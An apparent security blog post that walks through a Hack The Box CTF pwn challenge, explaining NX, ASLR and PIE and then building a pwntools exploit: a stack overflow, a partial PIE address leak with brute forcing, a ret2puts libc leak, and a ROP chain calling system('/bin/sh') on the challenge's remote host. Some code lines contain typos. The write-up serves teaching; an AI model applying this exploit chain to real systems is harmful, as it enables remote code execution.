menu
close_24px

BLOG

Bypassing PIE, NX and ASLR

For this blog post, we are going to work on a pwnable challenge from the HTB cyber apocalypse 2022 CTF. The challenge contains a 64 bit ELF binary and libc shared object.
  • Posted on: Jun 30, 2022
  • By Abhinav Vasisth
  • Read time 6 Mins Read
  • Last updated on: May 6, 2024

For this blog post, we are going to work on a pwnable challenge from the HTB cyber apocalypse 2022 CTF. The challenge contains a 64 bit ELF binary and libc shared object. 

Challenge description: We got access to the Admin Panel! The last part of the mission is to change the target location of the missiles. We can probably target Draeger's HQ or some other Golden Fang's spaceships. Draeger's HQ might be out of the scope for now, but we can certainly cause significant damage to his army.

Challenge files can be found here.

Let’s start by checking the protections for the binary. I will be using the checksec utility for this.

Checksec utility for checking the binary's protections - Bypassing PIE, NX & ASLR

So, we can confirm that the application has Full Reloc, PIE and NX enabled.

NX: The No eXecute or the NX bit (also known as Data Execution Prevention or DEP) marks certain areas of the program as not executable, meaning that stored input or data cannot be executed as code. This is significant because it prevents attackers from being able to jump to custom shellcode that they've stored on the stack or in a global variable.

ASLR: Address Space Layout Randomization (or ASLR) is the randomization of the place in memory where the program, shared libraries, the stack, and the heap are. This can make it harder for an attacker to exploit a service, as knowledge about where the stack, heap, or libc can't be re-used between program launches. This is a partially effective way of preventing an attacker from jumping to, for example, libc without a leak.

Playing around with the input, it looks like the application is vulnerable to stack overflow.

Error messaging showing that the application is vulnerable to stack overflow - Bypassing PIE, NX & ASLR

We can confirm the same by analyzing the application using a disassembler. By analyzing the missile_launcher function, we can see that the function is allocation stack of 0x50 bytes but the read function is reading 0x84 bytes from stdin. 

Analysis of the application using a disassembler with the missile_launcher function - Bypassing PIE, NX & ASLR

Using gdb we can calculate the offset at which the return pointer gets overwritten. For this, we will be generating a cyclic pattern using the `pattern create` command, and then on segmentation fault, we will calculate the offset of bytes in the RSP register. 

Calculation of the offset of bytes in the RSP register - Bypassing PIE, NX & ASLR

So now we can control the return pointer. 

Previously we had seen that the binary has PIE enabled.

PIE stands for Position Independent Executable, which means that every time you run the file it gets loaded into a different memory address. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are. But this does not mean it’s impossible to exploit.

PIE executables are based around relative rather than absolute addresses, meaning that while the locations in memory are fairly random the offsets between different parts of the binary remain constant. For example, if you know that the function main is located 0x121 bytes in memory after the base address of the binary, and you somehow find the location of main, you can simply subtract 0x121 from this to get the base address and from the addresses of everything else.

So all we need to do is find a single address and PIE is bypassed. Just how we can leak canary from the stack, we can use a format string vulnerability or any other way to read the address of the stack. This address always needs to be at a static offset from the base of the binary, thus enabling us to completely bypass PIE.

Let’s analyze the binary again for any memory leaks or format string vulnerability. 

Analysis of the binary for any memory leaks or format string vulnerability

This does look like a memory leak. We can use pwntools to confirm the same. 

from pwn import *
import sys
import time

context.clear(arch="amd64")
context.log_level = 'debug'

elf = context.binary = ELF('./sp_retribution',checksec=False)
libc = ELF('./glibc/libc.so.6',checksec=False)

local = True
if local:
    p = process('./sp_retribution')
else:
    p = remote('178.62.73.26',32414)

#gdb.attach(p,'''b *missile_launcher''')
offset = 88

p.recvuntil(">>")
p.sendline('2')
p.recvuntil('Insert new coordinates: x = [0x53e5854620fb399f], y =')
time.sleep(1)
p.sendline('1')]
p.recvline()
p.recvline()
leak = p.recvline()
base = u64(leak[:-1].ljust(8,b"\x00"))  #leaking 4 bytes of base_addr from stdout
log.info("Leaked address: {}".format(hex(base)))

A screenshot of the partial base address of the stack where the last 2 bytes are unknown

As seen in the above screenshot, we are able to leak the partial base address of the stack. The last two bytes are still unknown. 

Due to the way PIE randomization works, the base address of a PIE executable will always end in the hexadecimal character 000. 

5

5

e

1

2

d

7

8

?

0

0

0

So now we are able to leak the first 8 bits of the address and we know that the last three bits are 000. This leaves us with one missing bit. We can assume the value of this bit and run our exploit numerous times assuming that at least in one instance we get the correct base address. 

base = u64(leak[:-1].ljust(8,b"\x00"))  #leaking 4 bytes of base_addr from stdout
base = hex(base)
base += "4000"  #assuming last two bytes to be 4000
base = int(base,16)
log.info("Assuming base to be : %s", hex(base))

Next up, we will be using ret2puts for bypassing ASLR. First, the PLT address of puts() will be needed with the corresponding GOT address to be leaked. Since this is an x64 architecture it will need an ROP gadget to set up the GOT address of puts in the RDI register, so it could be used by puts().

Using ret2puts for bypassing ASLR

The below code snippet will leak puts address from libc.

from pwn import *
import sys
import time

context.clear(arch="amd64")
#context.log_level = 'debug'

elf = context.binary = ELF('./sp_retribution',checksec=False)
libc = ELF('./glibc/libc.so.6',checksec=False)

local = False
if local:
    p = process('./sp_retribution')
else:
    p = remote('178.62.73.26',32414)

#gdb.attach(p,'''b *missile_launcher''')

offset = 88


p.recvuntil(">>")
p.sendline('2')
p.recvuntil('Insert new coordinates: x = [0x53e5854620fb399f], y =')
time.sleep(1)
p.sendline('1')

#t = sys.argv[1]
p.recvline()
p.recvline()
leak = p.recvline()

base = u64(leak[:-1].ljust(8,b"\x00"))  #leaking 4 bytes of base_addr from stdout
base = hex(base)
base += "4000"  #assuming last two bytes to be 4000
base = int(base,16)
log.info("Assuming base to be : %s", hex(base))

#calculating addresses using the base address of elf
puts_plt = base + elf.plt['puts']
puts_got = base + elf.got['puts']
missile_launcher = base + elf.symbols['missile_launcher']
pop_rdi = base + 0xd33

log.info("puts PLT address: 0x%x",puts_plt)
log.info("puts GOT address: 0x%x", puts_got)
log.info("Address of missile_launcher: 0x%x", missile_launcher)
log.info("Address of POP RDI gadget: 0x%x", pop_rdi)

p.recvuntil("Verify new coordinates? (y/n):")

payload = b''
payload += b'\x41' * offset #padding
payload += p64(pop_rdi) #pop rdi; ret;
payload += p64(puts_got) #putting puts@got address in rdi
payload += p64(puts_plt) #calling puts with puts@glt address as argv
payload += p64(missile_launcher)    #puts will return to missile_launcher

p.send(payload)

time.sleep(1)
p.recvline()
p.recvline()

libc_leak = p.recvline()
puts_libc = u64(libc_leak[:-1].ljust(8,b"\x00"))    #leaked address of puts inside libc
log.info("puts address inside libc: %s", hex(puts_libc))

Since we are brute forcing one bit of the address as mentioned above, we need to run the exploit in a for loop.

Running the exploit in for a loop to brute force one of the addresses

Now, we need to calculate the libc base address by subtracting the puts offset from the leaked address.

Calculating the libc base address by subtracting the puts offset from the leaked address

After that, we need to calculate the address of the system, exit, and “/bin/sh” string inside libc by adding the respective offsets to libc base address.

The final exploit will be as follows:

from pwn import *
import sys
import time

context.clear(arch="amd64")
#context.log_level = 'debug'

elf = context.binary = ELF('./sp_retribution',checksec=False)
libc = ELF('./glibc/libc.so.6',checksec=False)

local = False
if local:
    p = process('./sp_retribution')
else:
    p = remote('178.62.73.26',32414)

#gdb.attach(p,'''b *missile_launcher''')

offset = 88


p.recvuntil(">>")
p.sendline('2')
p.recvuntil('Insert new coordinates: x = [0x53e5854620fb399f], y =')
time.sleep(1)
p.sendline('1')

#t = sys.argv[1]
p.recvline()
p.recvline()
leak = p.recvline()

base = u64(leak[:-1].ljust(8,b"\x00"))  #leaking 4 bytes of base_addr from stdout
base = hex(base)
base += "4000"  #assuming last two bytes to be 4000
base = int(base,16)
log.info("Assuming base to be : %s", hex(base))

#calculating addresses using the base address of elf
puts_plt = base + elf.plt['puts']
puts_got = base + elf.got['puts']
missile_launcher = base + elf.symbols['missile_launcher']
pop_rdi = base + 0xd33

log.info("puts PLT address: 0x%x",puts_plt)
log.info("puts GOT address: 0x%x", puts_got)
log.info("Address of missile_launcher: 0x%x", missile_launcher)
log.info("Address of POP RDI gadget: 0x%x", pop_rdi)

p.recvuntil("Verify new coordinates? (y/n):")

payload = b''
payload += b'\x41' * offset #padding
payload += p64(pop_rdi) #pop rdi; ret;
payload += p64(puts_got) #putting puts@got address in rdi
payload += p64(puts_plt) #calling puts with puts@glt address as argv
payload += p64(missile_launcher)    #puts will return to missile_launcher

p.send(payload)

time.sleep(1)


p.recvline()
p.recvline()

libc_leak = p.recvline()
puts_libc = u64(libc_leak[:-1].ljust(8,b"\x00"))    #leaked address of puts inside libc

log.info("puts address inside libc: %s", hex(puts_libc))

libc_base = puts_libc - 0x6f6a0

log.info("libc base address: %s",hex(libc_base))

system = libc_base + 0x453a0
log.info("system address inside libc: %s",hex(system))

exit = libc_base + 0x3a040
log.info("exit address inside libc: %s",hex(exit))

binsh = libc_base + 0x18ce57
log.info("/bin/sh pointer inside libc: %s",hex(binsh))


final_payload = b''
final_payload += b'\x42' * offset #padding
final_payload += p64(pop_rdi)   #pop rdi, ret;
final_payload += p64(binsh) #moving bin/sh pointer to rdi
final_payload += p64(system)    #calling system
final_payload += p64(exit#calling exit after returning from system

#since we returned to missile_launcher, we can again perform stack overflow
p.recvuntil("x = [0x53e5854620fb399f], y =")
p.sendline('1')
p.recvuntil('Verify new coordinates? (y/n):')

p.send(final_payload)

p.recv()

p.interactive()


Again we will need to run the exploit in a for a loop.

for i in {1..10};do python3 exploit.py 2> /dev/null | grep 'puts address inside libc' -B 10 -A 10; done

 

Running the exploit again in a 'for' loop

Happy Hacking!!